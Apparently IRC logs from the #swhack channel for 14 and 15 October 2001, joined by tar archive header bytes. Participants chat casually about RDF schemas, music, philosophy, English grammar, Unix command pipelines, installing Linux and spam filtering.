<sbp> <!ENTITY rdfns 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'> 18:26:11 <sbp> <!ENTITY rdfsns 'http://www.w3.org/2000/01/rdf-schema#'> 18:26:11 <sbp> <!ENTITY dcns 'http://purl.org/dc/elements/1.1/'> 18:26:11 <sbp> <!ENTITY eorns 'http://dublincore.org/2000/03/13/eor#'> 18:26:13 <sbp> ]> 18:27:53 <sbp> * sbp sends another email 18:28:18 <AaronSw> Oh, that's the stupid schema's fault -- i just copied the schema they put up 18:28:26 <sbp> yep 18:28:48 <sbp> I've no idea why they used entities... seems a bit silly to me 18:29:12 <AaronSw> Me too. 18:30:07 <sbp> but there you go: what do we know, eh? :-) 18:30:22 <AaronSw> See, they're just aching for N3 18:30:29 <AaronSw> so they imitate it with entities. 18:30:35 <sbp> Gotta run] 18:30:42 <sbp> er... run 18:30:46 <AaronSw> be 18:30:48 <AaronSw> err bye 18:33:42 <sbp> sbp has quit 19:01:02 <sbp> sbp has joined #swhack 19:01:24 <sbp> N3: yeah 19:01:52 <AaronSw> Tooke me a while to figure out what that was in response to. ;-) 19:02:11 <sbp> :-) 19:02:30 <sbp> Tooke: Old English? 19:02:51 <AaronSw> Yese ;) 19:06:13 <sbp> ah, looking out and looking in are the same thing 19:06:38 <AaronSw> Hey Jude, begin. 19:06:57 <sbp> without going out of your door... 19:07:59 <AaronSw> You're waiting for someone to perform with. 19:09:17 <sbp> you can know what things are there 19:10:03 <AaronSw> The less one knows 19:10:03 <AaronSw> The less one really knows 19:11:17 <sbp> ding diddle ding diddle ding diddle ding 19:11:46 <sbp> pa-jing-a-jing, pa-jing-a-jing 19:11:47 <sbp> ding diddle ding diddle ding diddle ding 19:11:51 <sbp> etc. 19:12:40 <AaronSw> ahhhhahhhhahhhhhahahhhahhahhhh 19:14:01 <sbp> bwang bwa bwang da diddle diddle riddle smikkle, wrrrr diddle wrrr diddle ding diddle ding 19:14:12 <sbp> Eastern music is so great 19:14:37 <AaronSw> Imagine this on a teleprompter... 19:14:37 <AaronSw> Arrive without travelling 19:15:11 <AaronSw> Hmm, sometimes I think Music critics are insane: "all the pleasures of great Classic Rock within a guilt-free Indie Rock aesthetic." 19:15:35 <sbp> heh, I saw that too 19:15:42 <sbp> what a load of crap 19:16:25 <AaronSw> Graham Klyne: "I find the process of document-writing by committee to be confusing and unwieldy, and I'm not convinced that it yields the best result." 19:17:07 <sbp> in another WG, it took 10 people 5 years to come up with the same conclusion 19:17:19 <AaronSw> lol 19:19:02 <AaronSw> Hmm, looking at the effectiveness of /.ing w3c-patentpolicy-wg, perhaps we should try that with more Working Groups. ;-) 19:19:32 <sbp> heh! 19:19:47 <sbp> or just the W3C in general 19:19:52 <sbp> just /. W3C 19:20:12 <AaronSw> But what mailing list? See, there's no public archive for process-issues. 19:20:31 <sbp> ah! that's why then, to avoid the wrath of /. 19:20:37 <sbp> it makes sense now 19:20:40 <AaronSw> Indeed! 19:22:32 <AaronSw> Ooh, look at this /. story: 19:22:32 <AaronSw> W3C Creates More Web Standards In Secret 19:22:32 <AaronSw> killertomato writes: "The W3C is at it again! They've created an internal policy that insures all WG are filled with evilness and hatred. Worse yet, these WGs are secret and only available to those who pay the W3C $50,000! This needs to be stopped." We agree: email address to remember are janet@w3.org and ian@w3.org. Go get 'em boys, and remember that Linux users have a reputation of not being friendly. 19:24:13 <sbp> different 19:25:58 <AaronSw> I got it at http://bbspot.com/toys/slashtitle/ 19:26:05 <sbp> all my pence for each other, did it? 19:26:41 <AaronSw> "That's nooot meeeeeeeee." 19:26:47 <sbp> Have you ever been to Abbey Road? 19:26:59 <AaronSw> I goooooooo where I pleeeeeease. 19:27:10 <AaronSw> Abbey Road: not geographically 19:27:23 <sbp> England? 19:27:36 <AaronSw> I don't have a passport. 19:27:41 <sbp> Ah 19:27:44 <AaronSw> The only other country I've been to is Canada. 19:28:08 <sbp> Pffff 19:28:19 <sbp> That's a shame 19:28:33 <AaronSw> Indeed... Perhaps now that air fares are lower.... 19:28:34 <AaronSw> Quebec is cool. 19:30:23 <sbp> "not geographically" is probably the weirdest answer I've ever had to that question 19:30:54 <sbp> answers usually range in teh boolean from "yes" to "no" 19:31:12 <AaronSw> I've been there musically, which is a possible interpretation of the question. 19:31:16 <AaronSw> It was quite a fun trip. 19:31:26 <sbp> A "yes" is usually met with, "did you go across the crossing", and a "no" is usually met with "you should go" 19:31:36 <AaronSw> :-) 19:31:53 <sbp> "not geographically" has kind of thrown me 19:31:59 <AaronSw> There's this great computer ad with folks going across the crossing but all looking down at their PDAs. 19:32:06 <sbp> lol 19:32:18 <AaronSw> Richard Dawkins: """Creation 'scientists' have more need than most of us to parade their degrees and qualifications[...]Those vaunted Ph.D.s tend to be in subjects such as marine engineering or gas kinetics rather than in relevant disciplines like zoology or geology. And often they are earned not at real universities, but at little-known Bible colleges deep in Bush country.""" 19:32:27 <AaronSw> - http://www.secularhumanism.org/library/fi/dawkins_21_4.html 19:32:57 <sbp> go get 'em! 19:33:10 <sbp> Heh, PhD in Gas Kinetics 19:33:45 <sbp> "Is there a doctor in the house?" "I'm a doctor of gas kinetics!" 19:33:54 <AaronSw> Heh, he's pretty harsh but it's hard not to see some truth in Creationist stories. 19:34:15 <AaronSw> I mean, isn't it a tad surprising that almost all traditions have a story of Creation that lines up neatly with "Big Bang Theory"? 19:34:35 <sbp> surprising? how so? 19:35:06 <AaronSw> Surprising in that the likeness is more than enough for me not to dismiss it out of hand. 19:35:36 <sbp> but the facts exist independent of you believing them, so why ponder it? 19:35:51 <AaronSw> What facts? 19:35:59 <sbp> the facts 19:36:04 <AaronSw> What facts? 19:36:09 <sbp> s/the/*the*/ 19:36:16 <AaronSw> *the* facts? 19:36:22 <sbp> God's facts 19:37:04 <AaronSw> Why do we have science then? Why not just assume that Nature exists independent of how we think it works and stop pondering it? 19:37:09 <AaronSw> It's interesting. 19:37:39 <sbp> exactly: why do we have science? I mean, what's the point of speculative science? So who cares how big a galaxy is? 19:38:04 <AaronSw> So do you see no point in pure math, then? 19:38:07 <sbp> Working out ways of feeding huge numbers of starving people is a bit more productive 19:38:30 <AaronSw> But that means doing actual work! :-) 19:38:31 <sbp> well, that's one of the murkier areas 19:38:41 <sbp> heh, yeah 19:39:13 <sbp> actually, I can imagine some conversation... 19:39:18 <AaronSw> Scientists just want their tenured chair in a nice air-conditioned University where every once in a while they have to read from a book they wrote 25 years ago to a bunch of faces who don't say anything. 19:39:28 <sbp> Person A: "Hi, I'm starving. Do you have any food?" 19:39:35 <sbp> Person B: "No, not really" 19:39:54 <sbp> Person A: "What have you been doing for the last ten years?" 19:40:13 <sbp> Person B: "Well, le me just say, science now knows how big galaxies are on average!" 19:40:26 <sbp> Person A: "Oh, thanks for that" 19:40:34 <sbp> [Person A starves to death] 19:40:53 <sbp> [Person B gets another grant fund] 19:41:15 <sbp> ah, satire 19:41:27 <AaronSw> There were some good pictures in the 'paper of starving Afghans scrambling to hoard the food packets. 19:41:45 <AaronSw> * AaronSw tries to find them 19:41:48 <sbp> but I'm not a luddite... 19:42:36 <sbp> and don't forget, I considered myself a cosmologist for a while 19:42:46 <sbp> then I considered myself an idiot 19:42:53 <AaronSw> Heheheh. 19:42:54 <sbp> now I try not to consider things 19:43:18 <sbp> in fact, I consider myself to be the best person for not considering things 19:44:08 <AaronSw> Interesting. 19:44:54 <AaronSw> That's something to consider. 19:45:12 <sbp> fuck! you've got a 34 second PING 19:45:19 <AaronSw> What?! 19:45:40 <AaronSw> Yours is 14 seconds. 19:45:48 <sbp> your comments were rather delayed so I pinged you. That's the result 19:45:57 <AaronSw> I was thinking. 19:46:05 <sbp> slow network 19:46:24 <AaronSw> It's because I'm bouncing thru ESP, most likely. 19:46:33 <AaronSw> America -> Britain -> America -> Britain 19:47:02 <AaronSw> Hmm, but it wasn't this bad last night. 19:47:37 <AaronSw> Hmm, is that 14 seconds round trip? 19:47:54 <sbp> about what? 19:48:09 <AaronSw> What was that about? 19:48:46 <sbp> hello? 19:48:50 <AaronSw> Yes? 19:49:02 <AaronSw> Eek, something's weird. 19:49:07 <AaronSw> 109 secons, then 8 seconds 19:49:14 <sbp> yuck 19:49:18 <AaronSw> Now back to 1 second. 19:49:26 <AaronSw> Must be some weird network outtage 19:49:53 <sbp> aha, the logs reveal the real time situation that I'm not getting: http://blogspace.com/swhack/chatlogs/2001-10-14.txt 19:54:12 <sbp> Gotta run 19:54:15 <sbp> sbp has quit 21:00:02 <sbp> sbp has joined #swhack 21:00:46 <AaronSw> Addiction is... http://diveintomark.weblogger.com/addiction 21:00:48 <AaronSw> AaronSw has left #swhack 21:00:54 <AaronSw> AaronSw has joined #swhack 21:00:55 <AaronSw> whoops 21:01:04 <AaronSw> That's a great piece. 21:01:04 <sbp> he he he 21:02:16 <sbp> wow, yes 21:03:15 <sbp> * sbp works on his homepage a bit 21:04:05 <sbp> * sbp plays Black Water Side 21:05:19 <AaronSw> He got fired for that piece, BTW. http://diveintomark.weblogger.com/2001/10/09 21:06:27 <sbp> wow, that's *really* sad 21:07:07 <sbp> especially given http://diveintomark.weblogger.com/write 21:07:15 <AaronSw> Yeah. 21:07:38 <AaronSw> Why are all these cool people getting fired? 21:08:09 <sbp> I think we both know the answer to that 21:09:16 <AaronSw> Because the enconomy sucks? 21:09:26 <sbp> Heh 21:09:45 <sbp> On another note, I don't like the pain that western philosophy has inflicted on us all 21:09:55 <AaronSw> An example? 21:10:00 <sbp> it seems that East met West too quickly 21:10:16 <sbp> example: it's a subtle thing, but let's think... ah, there you go 21:11:02 <AaronSw> Hmm, let me think about that. 21:11:11 <sbp> Socrates, Plato and Aristotle... well, they had something going there, but that was so long ago 21:12:16 <sbp> Then again, perhaps I'm biased. THe way I "discovered" all of this was an incredible series of coincedences. Conversations with people, books I've read, things I've done. And many of them went unspoken, which is the neatest aspect 21:12:25 <AaronSw> Hmm, but where's the pain? 21:12:54 <sbp> The pain is in the vinegar tasting 21:13:31 <sbp> ha, I guess the same affliction beplagued eastern philosophy too? The story of Kung-Fu-Tzu meeting Lao-Tzu is very famous 21:13:51 <sbp> * sbp does a bit of Googling 21:15:00 <sbp> aha: http://www.hackvan.com/pub/stig/spirit/The_Vinegar_Tasters.htm 21:15:09 <AaronSw> Have you read the Tao of Pooh? 21:15:22 <AaronSw> > The Tao of Who? 21:15:26 <sbp> Ooh, that's a cool book 21:15:27 <AaronSw> < The Tao of You! 21:16:01 <sbp> I did find the guy to be a little un-Taoistly judemental, though, especially towards Piglet. And he seems to have realised that in the Te Of Piglet 21:16:37 <sbp> I mean, what did Piglet do to harm anyone? Bashfullness? Oh please! That's hardly the worlds worst sin now, is it? 21:16:52 <AaronSw> Hmm, I don't remember him being rude to Piglet. 21:17:04 <AaronSw> The Te of Piglet was good too, but a bit too long, I think 21:17:07 <sbp> I didn't say he was rude, I said he was judgemental 21:17:21 <AaronSw> Hmm, that's a good away message: BISY BACKSON ;) 21:17:21 <sbp> well, ya gotta pad 21:17:29 <sbp> yeah, that'd be cool 21:17:40 <sbp> Doesn't JMR sign his letters with that? 21:18:18 <AaronSw> JMR? 21:18:23 <AaronSw> I gotta pad? 21:18:24 <sbp> Joseph M. Reagle 21:18:27 <AaronSw> Ahh, I see. 21:18:34 <AaronSw> Yes, he does. 21:19:06 <sbp> neat 21:20:26 <sbp> also neat: "Writers will write because they can't not write." 21:20:34 <sbp> - http://diveintomark.weblogger.com/write 21:20:50 <AaronSw> So how does the vinegar taste to you? 21:22:28 <sbp> I drink Worcester Sauce from the bottle 21:23:26 <AaronSw> How does it taste? 21:24:09 <sbp> it tastes like Worcester Sauce! 21:25:20 <AaronSw> Hmm. 21:25:22 <AaronSw> Om. 21:26:02 <sbp> * sbp listens to more Bert Jansch 21:32:12 <sbp> http://www.best.com/~abbeyrd/carnival.htm 21:34:48 <AaronSw> Interesting. 21:36:29 <AaronSw> Hmm: http://www.winterspeak.com/columns/goodeasy.txt 21:36:50 <sbp> from what I've heard of it, it's backwards looped, and a bit like the mellotron section in "Flying" 21:37:05 <sbp> er... but heavier 21:42:27 <sbp> * sbp finds a cool chord 21:42:59 <sbp> A9,6 21:44:16 <AaronSw> Hmm, I need to get a bigger disk drive. 21:44:32 <sbp> How big is the one you've got? 21:44:57 <AaronSw> Only 9.36 GB. 21:45:04 <sbp> yuck 21:45:15 <AaronSw> Yours? 21:45:19 <sbp> 19GB 21:45:25 <AaronSw> Wanna trade? ;) 21:45:27 <sbp> :-) 21:45:44 <sbp> I ahd to put up with just over 3GB for years 21:45:52 <sbp> 19GB is great! 21:46:08 <AaronSw> See, if we had the dataplesh, my little-used files would simply find themselves a nice home and I'd have more space. 21:46:26 <sbp> heh, they'd leave home and logde in some seedy plesh hotel 21:46:46 <AaronSw> Heheh. 21:46:47 <sbp> and you'd beg them to come come, bribe them with cookies and brownies 21:46:54 <sbp> s/come/home 21:47:14 <AaronSw> But seriously, I've got lots of unused disk drives sitting here on the network. Why don't my files take advantage of that? 21:47:21 <AaronSw> Stuoud files... :) 21:47:44 <AaronSw> err stupid 21:48:07 <sbp> filing systems are the stupid things. They really suck; I've not come across a decent one yet 21:48:14 <AaronSw> Heheheh, this website's checkout is at www.asecureserver.com 21:48:22 <AaronSw> filing systems: why bother filing? just add metadata 21:49:15 <sbp> but you want to reference and group the files 21:49:40 <AaronSw> Why would you want to do that? 21:50:02 <sbp> for example, I might want to group all of my Simpsons related stuff together 21:50:26 <sbp> so one click or whatever, and I can choose from a list of stuff that I often use 21:50:35 <sbp> the problem I find is Desktop space 21:50:50 <sbp> I always want to drag files into desktop icons, and end up moving stuff around 21:51:29 <sbp> I like the mac answer of putting apps on bars at the bottom (Win can do that too)... but it frustrates me, and still doesn't work: there's always some stupid application in the way 21:51:41 <sbp> I could rant about OS UIs for hours... 21:51:44 <AaronSw> See you just want to be able to do metadata queries: 21:51:51 <AaronSw> all items in genre simpsons 21:51:53 <AaronSw> or whatever 21:52:10 <AaronSw> and no app can get in the way of the Dock, on OS X 21:52:11 <sbp> yeah, but I don't want to type that. I wanna go "click" done 21:52:19 <AaronSw> right, so you save the query 21:52:25 <sbp> but the dock is a limited space 21:52:38 <AaronSw> Yeah, but it's a big limited space ;) 21:52:59 <sbp> you've not seen my desktop, have you... 21:53:30 <AaronSw> Thank goodness no. 21:53:39 <sbp> :-) 21:56:23 <AaronSw> I think what this guy says is true: http://www.winterspeak.com/columns/082001.html 21:56:27 <AaronSw> It's just difficult to get to there. 21:59:30 <sbp> I'd like a good easy for Windows 22:00:50 <sbp> heh 22:01:22 <sbp> for me, the most important applications are actually email, text editing, media player, IRC, and IE 22:02:28 <sbp> but I don't really need cross connectivity between them. Why would I? Only to a limited extent, i.e. that which can be done by simple copying and pasting 22:02:45 <AaronSw> See, you clearly haven't used UNIX. 22:02:50 <sbp> I could do with a decent filing system, but I like my curren method 22:02:54 <sbp> true 22:03:10 <AaronSw> Mac OS X borrows Services from NeXTStep, which is a good step forward, but I haven't seen any great uses of them. 22:03:24 <AaronSw> Like why should all of those programs have to implement their own spell checker? 22:03:38 <sbp> ah, but what's the harm? 22:03:45 <sbp> I mean, then you can choose the best 22:03:50 <AaronSw> That you have 5 sucky spell checkers instead of one good one. 22:04:04 <sbp> the problem with having core applications is that if one of them is crap, then it's tough 22:04:26 <AaronSw> That's why they should be interchangable 22:04:56 <sbp> ah, but if they're dependent on one another, doesn't that upset the balance? 22:05:11 <AaronSw> No, because the interfaces are open and easy -- it's just plain text 22:05:39 <sbp> how so? 22:05:56 <AaronSw> Like look at this command line I mentioned the other day 22:06:10 <AaronSw> I want to get URLs out of Danbri's list of chumped pages... 22:06:47 <AaronSw> sed -e "/<url>(.*)</url>/\1/" | sort -u | wc 22:06:54 <AaronSw> that counts the number of unique URLs. 22:07:11 <AaronSw> The job of each app there (sed, sort, wc) is well known 22:07:13 <AaronSw> so they're all interchangable 22:07:29 <AaronSw> In fact, that's how GNU/Linux was built -- they took a UNIX system and replaced hte apps one-by-one 22:07:35 <AaronSw> until the whole system was free software 22:07:56 <sbp> and where can I get this free software from? 22:07:59 <sbp> for free 22:08:04 <AaronSw> www.gnu.org 22:08:17 <sbp> I have to download it? But that's not free, for me 22:08:32 <AaronSw> It's free as in libre not gratis. 22:08:32 <sbp> so, where can I get this free software from? 22:08:36 <AaronSw> Do you know a UNIX-using friend? 22:08:40 <AaronSw> He could burn you a CD. 22:08:49 <AaronSw> You can get one for $2 from cheapbits.com 22:08:53 <sbp> Ah, cheers Aaron. I was hoping you'd offer 22:08:54 <AaronSw> I could mail one to you. 22:09:34 <AaronSw> You want libre software for gratis, huh? 22:10:00 <sbp> yes, please 22:10:02 <sbp> heh:- 22:10:02 <sbp> 22:08:53 <sbp> Ah, cheers Aaron. I was hoping you'd offer 22:10:02 <sbp> 22:08:54 <AaronSw> I could mail one to you. 22:10:07 <AaronSw> What would you do with it? 22:10:18 <sbp> I may well partition my Hard Drive 22:10:22 <sbp> I have a big one 22:10:29 <AaronSw> True. 22:11:05 <sbp> Would you really send me one? 22:11:20 <AaronSw> if you really partioned your HD 22:11:33 <AaronSw> Hmm, what distribution would you like? 22:11:42 <sbp> Ooh, I've been pre-approved for a loan [sound of me hitting delete] 22:11:48 <AaronSw> Heheh. 22:12:09 <sbp> Distribution: aw man, I have to start choosing stuff now... 22:12:19 <AaronSw> Fine, I'll choose something for you. 22:12:20 <sbp> O.K., well I probably won't devote much HD space to it, if I can help it 22:12:33 <AaronSw> We'll get you the easy-to-install special. 22:12:38 <sbp> ah, perfect 22:14:57 <sbp> * sbp tries to find partitioning for dummies 22:15:02 <AaronSw> Hmm, these guys look like they might mail you one: http://freelinuxcd.org/?page=getcd 22:16:40 <sbp> http://oakroadsystems.com/tech/hd-partn.htm 22:17:32 <sbp> "If you want two different operating systems you need separate partitions for them to boot in." 22:19:05 <sbp> Ah man, this looks like a total pain in the arse 22:20:03 <AaronSw> Yep. :-) 22:20:19 <sbp> there's no way I can back up the whole computer. Doing it last time was so annoying 22:20:36 <sbp> and I only backed up about a third of it 22:22:07 <AaronSw> You could gamble and try Partion Magic 22:23:44 <sbp> gamble? 22:23:59 <AaronSw> Yeah, there's always the chance that your hard drive will be ruined. 22:24:08 <sbp> ooh, wonderful 22:24:54 <AaronSw> Remember this from yesterday? http://www.linuxmafia.com/~rick/faq/#partition 22:29:13 <sbp> ah, so it would be cheaper and more effiecient to buy a new computer? Where would I put it? We already have two 22:29:24 <AaronSw> Two? 22:29:46 <sbp> Yeah, and we're not really set up for computer stuff here 22:29:52 <AaronSw> Hmm. 22:29:55 <AaronSw> Well, dinner time -- gotta run 22:30:02 <sbp> Aw... 22:30:06 <sbp> c'ya 22:30:36 <AaronSw> Well? 22:30:56 <AaronSw> * AaronSw stalls 22:31:20 <sbp> ah, well, I was going to ask 22:31:28 <AaronSw> Go ahead 22:31:29 <deltab> you could use a system elsewhere 22:31:33 <sbp> just how good is Linux? Is it worth that much buggering about? 22:31:40 <sbp> pardon, deltab? 22:31:57 <deltab> I can provide a shell account for you 22:32:19 <sbp> I already have a shell account... 'tis not the same though, is it? 22:32:32 <sbp> (many thanks for the offer) 22:32:52 <deltab> no, but it'd be easier than setting up a system yourself 22:33:24 <sbp> the other problem is that my 'net connection is not cheap 22:33:30 <sbp> well, at Weekends it's not too bad 22:33:46 <deltab> another possibility is using some sort of virtual machine like vmware 22:34:10 <AaronSw> OK, gotta run 22:34:27 <sbp> heh, I could run BeOS then :-) 22:34:32 <sbp> c'ya, Aaron 22:34:34 <AaronSw> BeOS rocks! 22:34:37 <AaronSw> * AaronSw heads off 22:34:38 <deltab> yeah 22:36:20 <sbp> but it's money; more money than I have to spend on operating systems :-) 22:36:20 <sbp> about £250... eek 22:36:20 <deltab> for what? 22:36:20 <sbp> £50 would be mega-pushing it 22:36:20 <sbp> for vmware 22:36:25 <deltab> something like vmware, not that itself 22:36:49 <sbp> it'd still cost me though, I'm guessing 22:39:31 <sbp> Gotta run 22:42:31 <sbp> sbp has quit 23:00:54 <sbp> sbp has joined #swhack 23:53:16 <sbp> sbp has quit ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-10-15.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000051034�07362674173�012017� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:24:41 <sbp> sbp has joined #swhack 00:29:44 <sbp> sbp has quit 00:43:28 <AaronSw> * AaronSw returns 02:37:51 <AaronSw> Aww, I missed Powers of 10 day. http://www.powersof10.com/p10_day/p102001.html 03:15:21 <sbp> sbp has joined #swhack 03:15:47 <sbp> Good idea, Aaron 03:16:00 <AaronSw> Ah, re the www-archive? 03:16:06 <sbp> yep :-) 03:16:20 <AaronSw> I talked to my contact at Google, but she said she was too lazy to deal with it today, and the only thing she could suggest was to get more links to it. 03:16:26 <AaronSw> Why don't you put a link on your homepage? 03:16:41 <sbp> ah, now you come to mention that :-) 03:16:48 <sbp> I don't think Google 03:17:01 <sbp> Google's updated my homepage for a while either, has it? 03:17:42 <AaronSw> Well, quick then you'll be able to get it into the next update. 03:17:47 <sbp> Hmm... it's on v 1.16, I'm on 1.17 03:18:02 <sbp> yeah, I'm just writing out the new homepage now! 03:18:08 <sbp> I'll give you a sneak preview... 03:19:06 <AaronSw> Ooh. 03:19:26 <AaronSw> what's with the blue sidebar? 03:19:45 <sbp> they're there to denote sections 03:19:51 <AaronSw> And I'm disorieted without a big H1 at the top 03:19:56 <sbp> woo! 03:20:04 <sbp> me too 03:20:19 <AaronSw> And the "* ..." stuff seems like such an abuse of markup. 03:20:51 <sbp> not sure. I tried it with CSS, but then became aware that it didn't gracefully transform 03:21:21 <sbp> OTOH, I've been saying that the "graceful transformation" test is an anachronism lately 03:21:43 <AaronSw> No music stuff? 03:21:43 <sbp> I just like the asterisk better than the blob 03:22:00 <sbp> there is music stuff! 03:22:11 <AaronSw> Ahh, there it is 03:22:16 <sbp> :-) 03:23:03 <AaronSw> No phenomics. 03:23:15 <sbp> not *yet* 03:23:33 <sbp> I may put it next to colloquial 03:24:08 <sbp> there are some good little jokes developing in there 03:24:13 <AaronSw> Yes, that'd be a good place for it. 03:24:24 <sbp> like: Am I the only person in the world to whom "asinus asinum fricat" sounds like some bizarre kind of foreplay? 03:24:49 <AaronSw> Yeah, that got me googling. 03:25:35 <sbp> Semper ubi sub ubi 03:26:25 <sbp> ah, should that be "who" or "whom"? 03:28:20 <AaronSw> whom, I think 03:28:52 <sbp> er... am I the object of "sounds"? 03:30:01 <sbp> that very question is flawed 03:30:12 <sbp> whom will do 03:30:45 <AaronSw> In modern english who is always appropriate. ;) 03:31:16 <sbp> really? 03:32:10 <AaronSw> Yeah, whom is dead. 03:32:29 <AaronSw> [[[ 03:32:30 <AaronSw> "Whom" has been dying an agonizing death for decades--you'll notice there are no Whoms in Dr. Seuss's Whoville. Many people never use the word in speech at all. 03:32:31 <AaronSw> ]]] 03:32:34 <AaronSw> - http://www.wsu.edu/~brians/errors/who.html 03:33:30 <AaronSw> [[[ 03:33:31 <AaronSw> Ending a sentence with a preposition 03:33:31 <AaronSw> A fine example of an artificial "rule" which ignores standard usage. As Winston Churchill said, "This is the sort of English up with which I cannot put." 03:33:34 <AaronSw> ]]] 03:33:37 <AaronSw> - http://www.wsu.edu/~brians/errors/nonerrors.html 03:35:31 <sbp> I usually read "who" objectively, so I cannot be sure 03:36:27 <sbp> Confused is the person upon whom this afflication beplagues 03:36:33 <sbp> er... afflication 03:36:40 <sbp> Confused is the person upon who this affliction beplagues 03:37:12 <AaronSw> Ah, here is the xena code: http://cvs.espra.net/viewcvs/viewcvs.cgi/creature/ 03:37:30 <sbp> the latter reads: the person who is beplagued by this afflication is confused 03:38:05 <sbp> the former reads: the person who beplagued this afflication is confused 03:38:10 <sbp> heh, that's not right 03:39:04 <sbp> well, smeg that 03:39:10 <sbp> Gotta run 03:39:25 <AaronSw> c'ya 03:39:32 <AaronSw> Do you have a special key sequence for that? 03:39:37 <AaronSw> You always write it the same way, 03:39:48 <AaronSw> never all lower case, or capitalizing the R or ending with a period 03:42:10 <sbp> sbp has quit 03:42:26 <AaronSw> Solutions don't need to make sense, they just need to work. 03:50:18 <sbp> sbp has joined #swhack 03:50:40 <sbp> <sbp> ah, should that be "who" or "whom"? 03:50:42 <sbp> <AaronSw> whom, I think 03:50:44 <sbp> nope, it's "who"! 03:50:51 <sbp> I just mastered the art of reading "whom" objectively 03:50:54 <AaronSw> says whom? 03:51:03 <AaronSw> ;) 03:52:10 <sbp> I kept reading "the person whom x y" as "the person *whom* *x* *y*" rather than "*the* *person* whom x y" 03:52:12 <sbp> :-) 03:52:42 <AaronSw> That makes no sense to me whatsoever, but good for you. :-) 03:53:16 <AaronSw> Ooh, Zope has a featured article: Using Zope with Amaya, etc.: 03:53:16 <AaronSw> http://www.zope.org/Documentation/Articles/ZPT3 03:54:27 <sbp> actually, I think I screwed that up 03:54:36 <sbp> * sbp goes back to the drawing board 03:54:40 <sbp> c'ya 03:55:14 <AaronSw> But wait, I have a Pre-Approval for $5,000 in Gold Credit! 03:55:17 <AaronSw> :-) 03:57:41 <sbp> sbp has quit 04:00:06 <AaronSw> Maybe if we all ask very nicely... http://groups.yahoo.com/group/syndic8/message/256 04:02:39 <sbp> sbp has joined #swhack 04:02:59 <sbp> It turns out that "whom" is indeed correct, and that if I used "who", it would 04:03:01 <sbp> mean that I sound like some bizarre kind of foreplay to a latin phrase. 04:03:07 <sbp> which might actually be funnier, but still 04:03:18 <sbp> whom am I kidding, eh? 04:03:20 <AaronSw> Heheh. 04:03:32 <AaronSw> What'd I tell you. 04:04:03 <sbp> you told me that "whom" is probably correct, but to use "who" anyway. You were exactly right, but for the wrong reason 04:04:21 <AaronSw> How do you know? 04:04:34 <sbp> well, actually, it was the right reason, but not from my point of view, which is to make the thing funny 04:05:08 <AaronSw> You've spent way too long on this and you know, nobody will notice. ;-) 04:05:25 <sbp> yeah... oh well 04:05:50 <AaronSw> Hehe, that makes it funnier. 04:05:57 <sbp> :-) 04:06:23 <sbp> so, am I going to use "who" or "whom"... Hmm... dunno. Perhaps I could do a random choice thing with ASP? 04:06:41 <AaronSw> Heheh. 04:06:42 <sbp> that'd be really confusing 04:07:19 <sbp> anyway, I should go to bed before the Sun does its traditional risy thing 04:07:57 <sbp> c'ya 04:08:04 <AaronSw> Ah, ok. 04:10:58 <sbp> sbp has quit 11:17:21 <deltab> deltab has quit 11:17:41 <deltab> deltab has joined #swhack 11:28:24 <deltab> deltab has quit 11:28:41 <deltab> deltab has joined #swhack 13:39:16 <AaronSw> Unofficial Unsupported Ximian ISOs: http://uuxii.cofradia.org/ 13:39:21 <AaronSw> This is what I need for Sean. 14:48:31 <sbp> sbp has joined #swhack 14:53:03 <sbp> sbp has quit 17:38:47 <wendy> wendy has joined #swhack 17:39:33 <wendy> hey there, i was looking for sbp. seems he's not here. c'est la vie. 17:54:24 <wendy> wendy has quit 18:22:50 <Morbus> Morbus has joined #swhack 18:24:39 <AaronSw> 'lo 18:24:47 <AaronSw> Howdy Morbus 18:38:51 <Morbus> hey 18:42:19 <AaronSw> Know of any good backup programs for OS X. 18:42:41 <Morbus> nope. there's a disccusion on osx@perl.org concerning a perl backup program. but i don't backup. i cd-r every month. shrugs. 18:52:12 <Morbus> ooh, the new tabbed iface in mozilla is nice. 19:46:05 <sbp> sbp has joined #swhack 19:47:56 <AaronSw> hi sbp 19:48:38 <sbp> hi there 19:50:02 <Morbus> my spam filters are doing good. 19:50:15 <Morbus> 1277 blocked this weekend, only 5 fositives. 19:50:28 <Morbus> i think i've made up a word: fositives. i've never heard that before. 19:51:09 <sbp> hey, that's cool! 19:51:10 <AaronSw> Hehe, I was just about to say that. 19:51:12 <AaronSw> It's a good word. 19:51:30 <Morbus> we must evangelize fositives! <g> 19:52:43 <AaronSw> Ooh, new Tom Mabe album out. 19:52:54 <Morbus> ? what's he like? 19:53:05 <AaronSw> He teases telemarketers and records it. 19:53:21 <AaronSw> Samples: http://www.tommabe.com/album.php 19:53:27 <Morbus> ah. 19:53:31 <Morbus> no sound card at work ;) 19:53:44 <AaronSw> Aww, poor Morby. ;) 19:53:57 <Morbus> hehe. 19:55:17 <Morbus> syncassaurus is doing good. dunno if i'll make it in time though. 19:56:04 <AaronSw> Hmm... tick, tick, tick 19:56:25 <Morbus> i know, 15 days :( 19:57:22 <AaronSw> * AaronSw buys some RAM 19:57:28 <Morbus> i heard crucial ram was good. 19:57:39 <AaronSw> How funny! That's where I bought it from. 19:57:45 <Morbus> wow! 19:57:56 <Morbus> that's some metaphysical joojoo right there 19:58:04 <AaronSw> No kidding. 19:58:46 <sbp> sbp has quit 20:00:24 <Morbus> ooh. new spolsky article. 20:00:45 <AaronSw> Yeah, Spolsky yet again defies common wisdom! 20:00:47 <AaronSw> :-) 20:01:10 <AaronSw> Hmm, this "Wearing and Tearing" is quite good! 20:01:18 <Morbus> hehehehe. 20:01:58 <AaronSw> Hmm, this looks like a good story: http://www.dnalounge.com/backstage/webcasting.html 20:02:04 <Morbus> i fall into the not invented here syndrome an awful lot actually. 20:02:08 <Morbus> i want to remake everythng in my image ;) 20:02:51 <AaronSw> Heheh. 20:03:10 <AaronSw> Looking at the list of modules AmphetaDesk needs, I find that hard to believe. 20:03:19 <AaronSw> ;-) 20:03:23 <Morbus> bwahaha. 20:03:41 <Morbus> well, you know, funny thing, cos I rewrote LWP::Simple, and did my own http daemon instead of using HTTP::Daemon ;) 20:04:21 <Morbus> LWP::Simple I had to though for compilation on Mac's. and i did my own webserver "cos i wanted to learn how"... in a future version of 